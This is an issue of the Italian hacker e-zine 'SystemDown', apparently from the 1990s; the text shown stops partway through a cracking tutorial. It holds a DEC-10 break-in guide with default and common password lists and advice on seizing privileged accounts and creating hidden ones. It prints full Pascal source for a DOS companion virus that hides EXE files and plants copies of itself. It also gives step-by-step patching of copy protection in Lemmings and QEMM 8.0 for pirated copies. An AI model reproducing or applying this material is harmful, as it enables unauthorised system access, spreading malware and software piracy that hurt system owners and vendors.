Copy Link
Add to Bookmark
Report
SystemDown 03
**********************************************************************
* *
* Chiunque venisse in possesso di questa rivista e' pregato di NON *
* postarla su NESSUN TIPO di newsgroup. Gli autori di questo testo *
* non si prendono nessuna responsabilita' per l'uso che ne verra' *
* fatto poiche' e' stata espressamente concepita per puri scopi *
* informativi. *
* *
**********************************************************************
Introduzione:
Per chi ancora non ne fosse a conoscenza e' online la nostra homepage curata
dal guru del java, dal pistolero del photoshop, dal figlio del html: MainMan.
Potete raggiungerla a questo indirizzo:
http://www.andrew.org/systemdown
Qui potrete trovare sia la rivista in formato html sia in formato txt
quindi, per le prossime uscite, vi conviene tenere d'occhio questa nostra
pagina.
Mi sono giunte all'orecchio alcune voci di amici che, andando a visitare la
homepage, non riuscivano a far funzionare gli effetti java dell'index. Questo
probabilmente dipende dal fatto che stiate o no usando il 4.x del netscape.
Sulle versioni precedenti come la 3.x, creava qualche problema anche a noi ma
non ne da nessuno sulla successiva come abbiamo sperimentato di persona.
Cosa volete che vi dica?
Ormai le cose sono sempre le stesse:
Su irc si vedono sempre piu' facce nuove, McDonald sta comprando tutti i
fastfood seri che ci sono in giro, la telecom abbassa le tariffe solo per
l'estero ( com'era la pubblicita'? Giappone -41%, America -25%...apro un
piccolo sondaggio: chi di voi trae beneficio da questi tagli sulle telefonate
internazionali se non le grandi aziende...? ).
Ci sono poche novita' in giro questi giorni. Sara' l'estate?
Giunti al terzo numero di SystemDown, nonche' il quinto mese di vita circa,
trovo queste introduzioni quasi inutili. Penso che chi legga questo testo sia
molto piu' interessato agli articoli riportati sotto che alle mie
farneticazioni.
Comunque sia ho, per ora, del tempo da perdere quindi scrivo queste poche
righe di "intro" giusto per non farvi partire subito con la lettura
approfondita degli articoli.
Siamo anche giunti, tanto per allungare queste poche parole, alla seconda
parte della guida al cracking di Xoanon. Nel prossimo numero si concludera'
e per allora speriamo di trovare qualcosa che possa attirare la vostra
attenzione come questa piccolo testo che abbiamo pubblicato.
Vi lascio quindi alla lettura degli articoli sperando che questo numero
possa essere interessante cosi' come lo sono stati i primi due.
By InfectedMachine ( fn-infected@community.co.uk )
Indice
Introduzione
1) DEC-10 ( by InfectedMachine )
2) RaggedRobin's Pascal Virus ( by RaggedRobin )
3) The Xoanon's Guide to Cracking ( by Xoanon ) IIø Parte
4) Satan ( By IceNice )
5) Sistemi di codifica e password ( by Jack Mckrak )
6) Backdoors e root ( by Jester )
7) Firewall: un approfondimento ( Parte II ) ( by Ramlin )
8) I siti del Dr.Creker ( by Dr.Creker )
Ringraziamenti
Conclusioni
1) DEC-10 ( by InfectedMachine )
Vedro', su questo terzo numero di SystemDown, di spiegarvi il funzionamento
del DEC-10.
Per chi non lo sapesse il DEC-10 e' stato creato dalla Digital Equipment
Corporation ( tanto per spiegare il significato della parola DEC ) e usa un
sistema operativo chiamato TOPS-10 ( o TOPS10 ).
Per riconoscere un DEC-10 basta vedere se il prompt dei comandi e' costituito
da un "."
Subito dopo esserci connessi a questo sistema ci arrivera' un messaggio
( direi quasi un classico di ogni sistema ) tipo:
data - ora - tty
sistema - tipo di sistema
e l'immancabile frase:
LOGIN:
Il formato dei login e' un po' particolare perche' dipende da un parametro
chiamato PPN, ovvero Project/Program Number; come in altri sistemi piu'
basso e' questo numero piu' si hanno privilegi.
Il formato nel quale e' scritto e':
.Log 12,34 cioe' .Log [X,X]
Poi arrivera' la terribile scritta "Password:"
Questa puo' essere lunga da 1 a 8 caratteri di qualsiasi tipo come in ogni
altro sistema.
Se non avete mai maneggiato in vita vostra un DEC-10 e siete curiosi di
sapere quali comandi esso abbia al suo interno vi consiglio di provare un
.Help per sapere qualcosina in piu'.
Puo' accadere, richiedendo gli help che il computer vi rimandi a leggere il
manuale operativo del DEC-10 per maggiori dettagli quindi non sempre gli
aiuti sono utili.
Per avere una lista dei comandi da eseguire ( come ad esempio il login )
provate ad inserire questo comando:
.Help *
Mentre con ".Help Phone" si puo' presentare l'occasione di fare un po' di
conoscenza con i vari numeri di operatori o persone simili
nell'amministrazione di sistema.
I due numeri piu' importanti sono quelli del DEC-10 operator e del DEC-10
staff; teneteli a mente perche' non si sa mai...
Parlando invece di cose serie si puo' dire che il comando piu' importante di
un DEC-10 e' "Systat" che da una lista di PPN, tempo trascorso, programmi in
uso, ecc.
Un abbreviazione del comando Systat e' SY.
Piccolo esempio del comando Systat ( preso da una rivista ):
Status of Brown University 603A at 11:52:33 on 29-Jan-96
Uptime 187:12:22, 80%Null time = 80%idle + 0%Lost
7 Jobs in use out of 128. 19 logged in 4 detached out of 89 ( LOGMAX )
Job Who What Run Time
1 [OPR] OPSER 3:22
2 [OPR] DIALOG 1:29
3 [OPR] BATCON 4:01
4 [OPR] SYSINF 51:13 01
5 24,2 SYSTAT 4:52
6 2332,21 DIRECT 2:22
7 32,22 SYSTAT 8:19
Il Job non serve quasi a nulla poiche' indica solo la posizione all'interno
del sistema per eventuali chat o messaggi ad un dato utente.
[OPR] significa OPERATOR mentre i numeri tipo 24,2 sono i PPN regolari di
normali utenti ( praticamente il loro login ).
La colonna chiamata "what" indica invece che programma stanno eseguendo
oppure cosa stanno facendo nel sistema.
Run Time, infine, ti dice da quanto tempo sono connessi i vari utenti.
Ora, dopo aver rimediato un PPN, bisogna tentare con la password.
Prima di tutto inserite il PPN che abbiamo visto in questo modo poi tentate
con le password di default o con quelle piu' comunemente usate.
Lista di password maggiormente usate:
Account
Acsnet
Computer
Connect
Dcl
Dec
Decnet
Default
Games
Help
Link
List
Modem
Operator
Password
Ppn
Secret
Sex
System
Terminal
Test
Provate anche questa serie di PPN e queste password:
Login: Password:
1,2: SYSLIB, OPERATOR oppure MANAGER
2,7: MAINTAIN
5,30: GAMES
Dopo aver tentato queste provare anche quelle piu' comuni degli altri sistemi.
Solitamente si hanno due tentativi per inserire PPN e Password corretti ( ma
questo puo' anche non essere vero poiche' diversi DEC-10 permettono un numero
illimitato di tentativi e poche volte comunicano i tentativi falliti di
connessione ).
Dopo che siamo riusciti ad entrare all'interno di questo sistema ci apparira'
un messaggio di "introduzione" al sistema che ci avvertira' di alcune cose
tra le quali il nostro Job ( cioe' la posizione all'interno del DEC ).
E, di seguito, puo' apparire qualcosa del genere:
Other jobs detached with the same PPN:
Job 34 running SYSTAT in ^C state
Do you want to ATTACH to this job? yes
Quello che stiamo facendo e' allegarci ad un idle PPN. Quando un altro utente
e' sul sistema da circa 10 minuti prima di noi puo' mandare un comando che gli
permette di effettuare un logoff e di riagganciarsi allo stesso posto quando
si riconnette al sistema. A questo punto dopo aver usato "systat" per vedere
l'effettivo allontanamento dal sistema possiamo usare "detach" per fare in
modo di "attaccarci" al suo PPN.
Oppure:
Se un utente non inserisce comandi per diverso tempo puo' essere allontanato
automaticamente dal sistema e quindi darci la possibilita' di attaccarci
comunque al suo PPN.
Ora che siamo dentro diamo un'altra occhiata a "systat" per vedere se
qualcosa e' cambiato e per verificare la nostra presenza all'interno del
sistema.
Se volessimo cambiare la nostra password, il comando da usare e':
/Password
Comandi utili:
Per guardare all'interno di directory si utilizza, o il comando Dir [*,*]
per guardare in tutte le directory che gli utenti hanno reso pubbliche agli
altri oppure con Dir [12,11] si guarda in una particolare.
Ci sono in sostanza 5 tipi di file da tenere in cosiderazione:
exe
txt
dat
bas
cmd
I file chiamati exe sono gli eseguibili e possono essere lanciati senza
problemi dal prompt dei comandi.
I txt sono file di testo che si possono "sfogliare" con il comando Type
nomefile.txt
NON fate type con gli exe!
Dat sono i dati che gli utenti hanno salvato mentre bas sono i file scritti
in basic.
Gli ultimi file, cmd, sono file di comando. Se ne incontriamo uno proviamo
questo comando: Take nomefile.cmd.
Un altro modo per leggere file e' usare il comando File:[*,*]
Per creare una propria directory possiamo utilizzare il comando "Credir";
a questo punto bisogna specificare che esistono due livelli per una directory:
il primo e' "Class" il secondo "Tvedit".
Se ci vogliamo creare una directory personale e un ottimo account privato
possiamo digitare:
Create Directory:[,,class,tvedit]
Il DEC-10 puo' replicare in questo modo:
Created Dska0:[x,x,class]Sfd/protect:775
Created Dska0:[x,x,class,tvedit]sfd/protect:775
x,x e' il PPN che stiamo usando e Dska0 e' il device.
Se vogliamo nominare la nostra directory appena creata possiamo farlo con il
comando "/Name:" e possiamo proteggerla con il comando "/Protect".
Ci sono altri comandi che iniziano per "/" e per vederli vi consiglio di
provare un "/help".
Account privati e privilegiati
Ora, se state provando ad entrare in un DEC-10 credo che lo facciate per uno
di questi tre motivi:
1) Siete il proprietario stesso del DEC-10 e volete testarne la sicurezza;
2) Siete alle prime armi e siete curiosi di provare questo tipo di sistema;
3) Siete tizi con le palle e volete prendere i dati di questo sistema.
Per qualsiasi di questi tre motivi la cosa che volete fare e' darvi la
possibilita' di dominare il sistema, di prenderlo per le corna e farne cio'
che volete...giusto?
Comunque sia volete pieni privilegi.
Su un DEC-10 il PPN della maggior parte degli account con pieni privilegi sul
sistema incomincia per 1 ( ad esempio 1,10 ).
Proviamo nuovamente ad usare il comando "systat" diamo un'occhiata attenta per
trovare qualcuno che sia sotto un account che inizi per 1,x.
Se lo troviamo, proviamo ad effettuare un login con quel PPN e iniziamo a
cercare la password a tentativi ( anche se la cosa si rivelerebbe molto
lunga ).
Se riusciamo ad infiltrarci con successo possiamo attivare il nostro ( o i
nostri ) account privati digitando il comando "enable" che ci dara' un prompt
$ oppure #.
A questo punto possiamo crearci un account alternativo dal nulla oppure fare
un make up di uno esistente in questa maniera:
$Build[x,x] o Create[x,x].
Una volta creato l'account editiamo il nostro PPN o modifichiamolo se esisteva
gia e tutto e' finito.
Se comunque riuscite a trovare un account da usare che abbia un PPN di 1,x
non provatelo durante il giorno o le ore lavorative.
Spesso solo gli admin hanno account del genere quindi vi consiglio di provarlo
a notte inoltrata per evitare spiacevoli situazioni.
Per continuare il discorso vorrei dire che ci sono tre livelli di sicurezza
all'interno di un DEC-10:
Operator
Wheel
Cia
I privilegi chiamati Wheel e Cia ( che sta per Confidential Information
Access ) sono i due livelli piu' importanti e potenti perche' permettono di
fare qualsiasi cosa e in ogni posto. Operator sfrutta i normali privilegi che
gli sono stati concessi per l'uso di QUEL terminale.
Un manuale utile da leggere sarebbe il "Decsystem Timesharing Guide" ma non
credo sia molto facile da rimediare. Questo comunque e' il manuale di utilizzo
dei sistemi DEC e ti spiega in dettaglio tutti i comandi da usare e che si
possono usare, nuovi programmi, nuove funzioni, ecc, ecc.
Per richiederlo si deve telefonare all'operator al numero indicato sotto gli
"Help Phone" ( vedi sopra ) ma non lo danno a tutti poiche' il sysop richiede
la password il login e il motivo dell'utilizzo del manuale.
Mail
Apro una piccola parentesi sull'uso della mail nel DEC-10 che non e'
fondamentale ma sapere come funziona non credo guasti.
Per usare la posta elettronica su di un DEC-10 bisogna lanciare il comando
"Run Mail" dal prompt. Fatto questo, in risposta dal sistema possiamo
ottenere un prompt con la scritta "MailC".
Se vogliamo controllare la nostra casella di posta digitiamo:
MailC:read
Se vogliamo spedire invece un messaggio usiamo il comando Send al posto di
Read.
Questo e' quello che potrebbe succedere:
.Run Mail
MailC:Send
to:RaggedRobin
Subject:Solite Storie
Text:
Ciao. Bla Bla Bla Bla Bla Bla Bla Bla Bla
Quando arriviamo alla conclusione del nostro messaggio possiamo concludere
con .done o .d su di una linea vuota e questo indica al sistema che abbiamo
finito di scrivere.
Il DEC-10 a questo punto rispondera' con: RaggedRobin--Sent.
Informazioni supplementari
Provate ad inserire il comando "info" o "help info" nel prompt dei comandi e
vi vedrete apparire una lista di comandi da usare insieme a questa forma:
Info XXXX
Switch Funzionamento
. Fornisce informazioni sul proprio job
[??,??] " " su un dato PPN
ALL " " su tutti i PPN
ALL:LOPR " " sui job di tutti gli operatori locali(1,2)
ALL:OPR " " sui job di tutti gli operatori (1,2)
ALL:ROPR " " sui job di tutti gli operatori remoti
ALL:Users " " su tutti gli utenti del sistema
Batch " " su tutti i batch job
Ho citato i piu' importanti ma ce ne sono altri quindi, per maggiori
informazioni, effettuate il comando che ho menzionato sopra.
I numeri 1,2 al fianco della voce Operatori Locali e Operatori significa che
i loro account hanno pieni privilegi su quel sistema.
Il comando Watch.
Con questo comando si possono ottenere maggiori informazioni sulle proprie
statistiche:
Run Indica il CPU time
Wait Indica il tempo trascorso dalla partenza nel sistema
Read Numero dei blocchi di dischi che hai letto
Write Numero dei blocchi di dischi che hai scritto
Se tu hai privilegi di sistema prova ad usare questo comando:
Watch[x,x]
Questo ti puo' dare maggiori informazioni su di un utente in particolare.
Altri comandi:
Riporto in seguito alcuni comandi che potreste trovare utili o interessanti.
Who Nome job #TTY
Che potrebbe essere qualcosa del genere:
Who RaggedRobin 4 #7
Ovvero RaggedRobin e' inserito nel sistema nel job 4 e sul TTY 7.
La risposta potrebbe essere il suo PPN e altre informazioni legate al suo
stato sul sistema.
Se qualche conoscente e' sul sistema e gli vogliamo lanciare un messaggio,
sapendo che e' sul TTY10 possiamo digitare:
Send TTY10 Messaggio
Se invece vogliamo mandare una chat:
Talk TTY10
Se siamo riusciti ad ottenere pieni privilegi andiamo in enable e digitiamo:
"Whostr" che puo' darci maggiori informazioni su gli utenti collegati al
sistema e sulle directory presenti.
Per concludere vorrei citare le combinazioni di ctrl+lettera e i vari tipi di
reti alle quali sono connessi i computer della DEC.
ctrl+h Backspace
ctrl+c Interrompe una lunga lista o un programma
ctrl+o Ferma un lungo output del terminale
ctrl+t Tempo
ctrl+u Killa la linea che stai digitando
ctrl+x Ferma un programma
ctrl+s Ferma una lista ( pausa )
ctrl+q Resume
DECNET
Questa rete e' supportata da tutti i computer della Digital Corporation. Per
accedere a questa rete digitate "Decnet" e tentate di trovare la password.
Decnet supporta nodi come VMS, TOPS10 ( sistema operativo per DEC-10 ),
TOPS20 e altri. Solitamente l'account del system operator puo' esserti di
aiuto se stai cercando la password per accedere a questa rete. Tenta la
password dell'account del sysop e vedi se funziona.
ACSNET
Supporta DEC-10 e altri computer. Quando ci si connette si puo' trovare un
messaggio del genere:
ACSNET
Fri Mar 13 19:30:23 1996
Port ID: dialup C502 at 28.800 baud
dialup C502 with even parity
O qualcosa di simile.
Dal prompt digitare "?" per una lista dei groupnames. Per entrare nel DEC-10
da questo punto digitate "Acsdec10".
I comandi per Acsnet sono:
Connect
Hangup
Info
Release
Set
Daytime
Disconnect
Help
Resume
WhoamI
By InfectedMachine
2) RaggedRobin's Pascal Virus ( by RaggedRobin )
Propongo in questo mio secondo articolo due cose:
a) Un virus in pascal di mia invenzione;
b) Un piccolo "concorso" ovvero chi riesce a capire cosa fa questo virus e
suoi eventuali errori lo scriva al dr.creker o ad InfectedMachine.
Il primo "fortunato" che scrivera' ( se mai ce ne sara' uno ) ricevera' un
jpg autografato da me ;)))))
program rr2;
{$M $4000,0,0 } { 16K stack, no heap }
uses dos,crt;
type fil= file of char;
var filexe,filecom:array[1..100]of string;
f,fvir:fil;
s,s1,infetto,target,sano:string[12];
c,app:char;
i,j,z,k,trovato:integer;
DirInfo: SearchRec;
begin
for i:=1 to 100 do begin
filexe[i]:='';
filecom[i]:='';
end;
j:=1;
k:=0;
trovato:=0;
z:=0;
i:=1;
s:='nomefile.com';
findfirst('*.EXE', Archive, DirInfo);
filexe[1]:=dirinfo.name;
while doserror=0 do begin
i:=i+1;
findnext(DirInfo);
filexe[i]:=dirinfo.name;
end;
findfirst('*.com', Archive,dirinfo);
filecom[1]:=dirinfo.name;
while doserror=0 do begin
j:=j+1;
findnext(dirinfo);
filecom[j]:=dirinfo.name;
end;
repeat z:=z+1;
infetto:=filexe[z];
delete(infetto,(length(infetto)-2),3);
infetto:=infetto+'COM';
repeat
k:=k+1;
if infetto=filecom[k] then trovato:=1;
until k=j;
if trovato<>1 then target:=INFETTO;
until (z=i) or (trovato<>1);
if filexe[1]='' then trovato:=1;
if trovato<>1 then
begin
sano:=target;
delete(sano,(length(sano)-2),3);
sano:=sano+'EXE';
assign(f, sano);
setfattr(f, hidden);
reset(f);
for i:=1 to 12-length(target) do target:=target+' ';
assign(fvir,target);
rewrite(fvir);
assign(f,s);
reset(f);
repeat
read(f,c);
write(fvir,c);
until eof(f);
close(f);
seek (fvir,321);
for i:= 1 to length(target) do
write(fvir,target[i]);
app:=chr(32);
for i:= length(sano) to 11 do write (fvir,app);
close (fvir);
end;
delete(s,(length(s)-2),3);
s:=s+'EXE';
SwapVectors;
Exec(s,'');
SwapVectors;
end.
3) The Xoanon's Guide to Cracking ( by Xoanon ) IIø Parte
----------------------------------------------------------------------------
CAPITOLO 2: CRACKING IN DOS / ThE FuN StUfF BeGiNs! /
----------------------------------------------------------------------------
Eccoci arrivati, dopo la pallosissima (anche da scrivere) prima parte, al
succo di questo tutorial.... il cracking vero e proprio.
Cominciamo dal DOS, trattando i vari tipi di protezione che potete trovare,
ognuno spiegato in maniera (spero) abbastanza dettagliata e corredato da un
esempio..... naturalmente, questi dovranno essere presi solo come tali, anche
perche' ogni protezione e' diversa dall'altra e non si puo' generalizzare il
tutto con una precisa tecnica. Mano a mano che poi crakkerete da soli
sicuramente saprete far fronte anche a situazioni diverse, piu' o meno
discostanti da quelle qui illustrate.
Una cosa che tengo a puntualizzare e' questa: avrete sicuramente visto che
oggi tutti i crackers tendono a fare (per i programmi che richiedono un
serial number collegato al vostro nome) dei KeyMakers, ossia dei programmi
che, una volta scoperto l'algoritmo, prendono il vostro input e ne fanno
un numero valido per il programma. Io da parte mia preferisco sempre
SRADICARE di netto la protezione, anche perche' cosi' non devo perder tempo
a star dietro all'algoritmo, magari complicatissimo..... Quindi, i miei
esempi saranno tutti improntati sulla COMPLETA eliminazione della routine
di protezione. Se poi volete farvi i keymaker per quel tipo di programmi,
basta che seguiate l'algoritmo di protezione, facilmente trovabile mettendo
dei breakpoint R/W (read/write) o meglio R (read) alla locazione dove trovate
il vostro ECHO (ossia, l'input che avete dato es.il vostro nome). Per cercare
l'echo, basta cercare in memoria quello che avete inserito, subito dopo
essere tornati al debugger dopo l'inserimento. A questo proposito, per quanto
riguarda il dos, ricordatevi che le locazioni buone per l'echo (ne troverete
infatti diversi) sono quelle dalle parti del CS o DS, ma non sempre...
comunque, mai quelle iniziali e finali (da C000 in poi). Con un po' di
pratica, le riconoscerete a occhio, ve lo garantisco.
Quindi, fatte queste precisazioni, LET'S START!
2.1.... Protezione con controllo dell'accesso al disco (INT13)
Questo tipo di protezione e' in assoluto la piu' facile da eliminare.
Difatti, si basa sul controllo di settori del floppy che non vengono copiati
durante un normale processo di copia, quindi presenti solo sul floppy
originale.
Data la sua facilita' di sradicazione, oggi questa protezione non e' quasi
piu' usata.... comunque, mi sembra un buon esempio per iniziare.
L'esempio che vi proporro' e' il gioco "Lemmings" (spero lo abbiate, di
solito lo davano con le vecchie SoundBlaster), anche perche' non sono
riuscito a trovare qualcos'altro che usa questo tipo di protezione.
Iniziamo..... Per prima cosa, caricate il G3X, buttatevi Lemmings sull'HD
e togliete il dischetto originale dal drive (oppure mettetecene uno a caso)
in maniera da simulare il caso di una copia pirata.
Ah, ricordatevi di togliere il QEMM (o l'EMM386) se lo avete installato,
perche' nel mio caso faceva impallare il tutto (forse il gioco e' troppo
vecchio, non lo supporta....).
Dunque, appena caricato il file LEMMINGS.BAT vi trovate davanti ad una
schermata in modo testo che vi permette di scegliere il computer posseduto.
A questo punto, premete PRTSCR (STAMPA, per i non inglesi) ed entrate nel
G3X. Premete "V" per entrare nel debugger, dopodiche' iniziate a steppare
con "P" finch non vi trovate nel ciclo di ripetizione che aspetta l'input.
Questo e' un punto fermo nel debugging crakkistico, cioe' bisogna sempre
trovare questo ciclo in modo da rientrare nel debugger una volta effettuata
la scelta.
Quindi, vi troverete in questo punto (il CS lo ometto, tanto cambia sempre):
5448 CALL 9109 < Inizio ciclo attesa input
544B PUSH BX
544C XOR BX,BX
544E CALL 7583
5451 POP BX
5452 JB 5442
5454 MOV AH,01
5456 CALL 8413
5459 JNE 8461
545B MOV AH,84
545D INT 2A
545F JMP 5448 < Torna all'inizio finch non premete il tasto giusto
5461 XOR AH,AH < Qui premete "H" per tornare al G3X dopo aver premuto <ret>
Come vedrete, continuando con "P" non fa' altro che saltare a 5448 ogni volta
che arriva a 545D, cio' indica che e' un ciclo. Allora, provate a mettere il
breakpoint HERE a 5461 (andateci sopra e premete H).... hmmm, torna allo
schermo di selezione! Quindi, premete return (tanto va' bene per tutti la
prima opzione) e..... magia, riecco il G3X! Era proprio il ciclo di attesa
dell'input!
Vabbe', andiamo avanti! Premete comodamente "P" fino a che non arrivate a
questa parte:
00E0 CALL 0649 < Controlla se il floppy originale e' inserito, senno' esce
00E3 CALL 1591 < Fa' partire il gioco
00E6 CLI
00E7 MOV CX, [1FC9]
Noterete subito che steppando la prima call, il programma esce dicendo che
il disco originale non e' inserito. Primo trucchetto del cracker provetto:
quando ci sono due call una di seguito all'altra, la prima delle quali esce
se non si e' azzeccato la password o simili (come in questo caso), provare
SEMPRE, una volta arrivati a questa call, a cambiare l'IP ed eseguire la
seconda..... fusse che fusse la vorta 'bbona!
Quindi, tutto da capo, fino a riarrivare all'indirizzo 00E0 (questa volta
pero', salvatevi l'indirizzo andandoci sopra e premendo "TAB", almeno se
qualcosa va' male poi potete metterci un BPX e ricominciare da qui). A questo
punto provate a farli saltare la call, cioe' a non eseguirla proprio,
cambiando il valore del registro IP (premete R poi I, quindi scrivete 00E3,
la locazione successiva). Ora, incrociate le dita..... ricominciate a
steppare con "P", anzi per un brivido maggiore consiglio di uscire
direttamente dal G3X con "ESC". Et voila', come dice il mago Afono del
Vernacoliere, avete fatto il vostro primo crack!!!! Naturalmente, dovete poi
andare a ricercare con un hex-editor i bytes corrispondenti alla call
(quindi,segnatevi i precedenti, quelli e i successivi) e cambiare i valori
nel file (mi sembra sia VGALEMMI.EXE) con una serie di NOP (No-Operation, in
hex 90). Ma di questo parleremo poi, nel capitolo apposta sul patcher!
Intanto, godetevi la vostra prima sprotezione!!!!
Ah, faccio notare che se provavate a monitorare l'INT13, in questo caso i
programmatori sono stati furbi implementando la cosiddetta "trappola per
debugger", cioe' una serie di INT3 dopo le istruzioni "chiave" che fanno
impiantare il povero G3X.... se non ci credete, provate (tanto come si fa'
lo dovreste sapere, ve l'ho spiegato prima!)
2.2. Aiuto, il mio piratone di fiducia mi ha dato il programma senza SN!
Capita sempre, specialmente col mio fornitore, di ricevere programmi bomba
che una volta installati, chiedono il serial number. Alcuni funzionano per
un po', poi cominciano a frantumarci le palle con nag-screens vari (del
tipo : "Bei mi budiuli, ir programma E LO DOVETE PAGA'!!!). Alcuni,
addirittura non si installano nemmeno in mancanza del magico numerino. E'
questo il caso del crack che mo' vi propongo: il QEMM versione 8.0 (peraltro,
non distribuito in versione shareware ma serial-dipendente anche lui).
Dunque, come al solito, G3X in spalla e via!
Si parte con l'inserimento di tutti i dati nell'installer (nome, citta',
cazzi vari) e si inserisce anche un serial number a caso (puo' essere anche
una parola, tanto la protezione la sodomizziamo! io di solito uso "culo",
semplice ma efficace.....). Prima di premere return, PRTSCR e entriamo nel
G3X. Dato che abbiamo inserito un input, tanto vale cercare il nostro ECHO,
in modo da settare un BP R/W (read/write) che ci fara' capitombolare proprio
nel bel mezzo della routine da fottere.... Quindi si entra nel debugger, si
mette in modo testo con "U", si mette il display della memoria a 0000:0000
con "C" (change address, senno' non trova una mazza) e si preme "F". A questo
punto, inserite il serial number che avete digitato e premete return,
scegliendo la ricerca in ASCII e il modo Case Sensitive OFF (non tiene conto
delle maiuscole e minuscole). Troverete un bel po' di echo, comunque vi ho
gia' detto prima di non considerare quelli troppo vicini all'inizio e quelli
troppo lontani..... in medio stat virtus ( diceva Socrate, mi sembra.....
sapete, studio Biologia e questi sono solo ricordi del liceo!).
Spulciando tra gli echo che trovate vi saltera' subito all'occhio quello
situato a CS:000A, contenente il vostro serial inserito e, guardando sopra,
gli altri dati che avete messo. Quindi, sicuramente, e' quello giusto! Come
al solito, salvatevi l'indirizzo andandoci sopra e premendo TAB, dopodiche'
settateci un BPRW (tornate nella schermata iniziale del G3X, scegliete il
menu dei breakpoint, selezionatene uno, scegliete BreakPoint ReadWrite,
premete TAB e da qui selezionate l'indirizzo....puff, puff, ma vi devo dire
tutto io? Basta,da ora in poi saro' piu' sintetico!).
A questo punto tornate al programma premendo ESC, e quando premerete invio
magicamente riapparira' il G3X. Bene, siete usciti proprio ora dalla routine
di attesa dell'input! Cominciate allora a steppare, usando tutti i trucchetti
che vi ho insegnato prima (ad es. all'indirizzo CS:3DA6 c'e' un ciclo palloso
a bestia, saltatelo con l'HERE a 3DA8). Ad un certo punto arriverete qui:
1B90 TEST AX,AX < Parte finale della routine di protezione
1B92 JNE 1BA6 < Se il numero e' giusto, va' a 1BA6
1B94 MOV AL,F9
1B96 CALL 11BF < Beep, segnaccio!
1B99 CALL 1916 < Spiacente,avete cacato fuori dal vaso (SN errato)
1B9C POP SI
1B9D CALL 18E3 < Con queste istruzioni e le successive torna
1BA0 CMP AL,1B all'input e vi richiede il SN
..............
1BA6 POP SI
1BA7 JMP 1B56
Se eseguite la CALL 11BF e successiva, vedete che il programma da' il
messaggio di errore. Bene, e' dove volevamo arrivare! Ora facciamo marcia
indietro.
Qual'e' il jump prima della call che da l'errore? Quello a CS:1B92! (infatti
vedete che salta avanti, cosa IMPORTANTISSIMA da notare: difatti, cercando
di saltare la protezione, i jump che saltano avanti sono SEMPRE i PRIMI da
controllare, altro trucchetto da cracker provetto.... ci va' anche di rima!)
Subito, settateci un BPX (togliete quello RW, tanto nella routine giusta ci
siete), uscite dal programma e ricaricatelo (tanto gli indirizzi in memoria
dovrebbero rimanere gli stessi, senno' vi tocca tornarci a mano.)
Vedrete che dopo aver reinserito il SN e premuto return, il G3X si ferma
proprio a CS:1B92. Cambiate quindi l'IP e mandatelo a 1BA6. Ancora qualche
"P" e arriverete qui:
1B68 JZ 1B6D < Qui dovete cambiare l'istruzione in JMP 1C25
1B6A CALL 1C26
1B6D CALL 1525 < Torna al programma e attende la pressione del return
1B70 MOV BX, [5307]
1B74 CMP BX, 3F3F < Ennesimo controllo finale della correttezza del SN
1B78 JNE 1B7D < Se e' sbagliato salta a 1B7D
1B7A JMP 1C25 < Se e' giusto salta a 1C25 e inizia l'installazione
Osserverete ora che eseguendo le CALL riappare lo schermo del programma,
e che premendo <return> ritorna il G3X. Bene, avanti! Vedrete che facendo
il JNE 187D si ritorna daccapo, con il beep di errore eccetera. Mettiamo
dunque un BPX (disabilitando sempre il precedente,altra regolina) a 1B78,
usciamo e ricarichiamo il programma. Una volta tornati a questo punto,
cambiamo IP mettendolo a 1B7A e continuiamo a steppare. Tada'..... altra
protezione fottuta, complimenti, avete appena fatto il vostro 2ø crack!!!
Per fare le cose ammodino, sara' meglio cambiare il JZ 1B6D a CS:1B68 in un
bel JMP 1C25, in modo da garantire che, quale che sia il SN, il programma
lo prenda per giusto. Quindi, tornando sopra, dovreste inserire l'istruzione
premendo A (assemble) e inserendo i valori esadecimali E9 <ret> BF <ret> 00
<ret>. Perche' questi? Be', sinceramente non lo so' nemmeno io. So' solo che
dato che il G3X purtroppo non supporta l'inserimento dell'istruzione
assembler in maniera normale (es. JMP direttamente), bisogna prendere il
valore hex dell'istruzione che si vuole inserire (in questo caso, E9 A8 00
che corrisponde al JMP 1525 all'offset 1B7A). Quindi, copiarlo nell'offset
desiderato e giocherellare un po' con gli ultimi due valori (il primo rimane
fisso) finche' non si riottiene l'indirizzo voluto, in questo caso 1525.
Fatto questo, provate il tutto rieseguendo da capo il programma e facendo la
modifica, poi segnatevi i valori dei bytes da sostituire e continuate la
lettura del manuale, perche' come fare i patches lo spiego all'ultimo!!!
Ah, dimenticavo: inutile dire che questo procedimento e' analogo in caso di
programmi che vogliono una password (es. giochi che vogliono la password
a pagina x del manuale).
2.3 Variazioni sul tema: Xoanon's Standard Cracking Algorithm (TM)
Questi due procedimenti standard sono applicabili anche ad altre situazioni,
per cui non staro' a dilungarmi oltre. Un esempio e' il caso della scelta di
una determinata icona per superare la protezione (come succede, ad esempio,
in molti giochi della Lucas). In questo caso, come al solito, basta riuscire
ad imbroccare il punto di entrata giusto, ossia, e non mi stanchero' mai di
ripeterlo, L'ALGORITMO CHE ATTENDE IL VOSTRO INPUT. Fatto questo, in maniera
analoga a come avete fatto per Lemmings, non resta altro da fare che steppare
fino a che non succede qualcosa. Quando la routine vi butta fuori e riparte
aspettando un'altro input, segnatevi il punto (una CALL) dove il fatidico
"INCORRECT PASSWORD" appare e esaminate bene il disassemblato PRIMA di questa
istruzione. Ci sara' infatti SICURAMENTE un CMP seguito da un jump
condizionale che, in caso l'icona scelta sia quella giusta, saltera' questa
CALL portandovi da un'altra parte (in genere il jump giusto da modificare vi
portera' avanti, mai indietro, ma questo mi sembra di avervelo gia' detto).
Quindi, una volta trovato basta modificarlo. Interessante variazione puo'
essere quella di non modificare il jump, ma sostituire al CMP un MOV. E'
quello che si chiama DIRTY-CRACK, e vi permette di evitare magari di
ritornarci sopra se il check viene fatto anche piu' avanti nel programma.
Basta andare a vedere, infatti, alla locazione di memoria dove effettua il
compare (quella tra parentesi quadre, per intendersi, oppure in AX o nel
registro dove effettua il CMP) e vedere che valore c'e'. Supponiamo che la
situazione sia:
........
CS:0010 CMP AX,00 < se in AX c'e' 0 setta il flag a 1, senn a 0
CS:0013 JNZ 7641 < se il flag e' 0, salta a 7641
CS:0015 CALL 4328 < vi butta fuori o simili
........
CS:7641 Dovete saltare qui per saltare la protezione
Se quando andate a vedere nella locazione del compare, in caso sbagliaste
la password, ci trovate uno 00, vuol dire che quello e' il valore che il
programma esamina per vedere se e' registrato/sprotetto o no. Basta cambiare
il CMP in MOV in maniera da mettere nella locazione/registro un valore
diverso da quello, per far credere al prg di essere registrato effettivamente
(oppure per farli credere che avete indovinato la password).
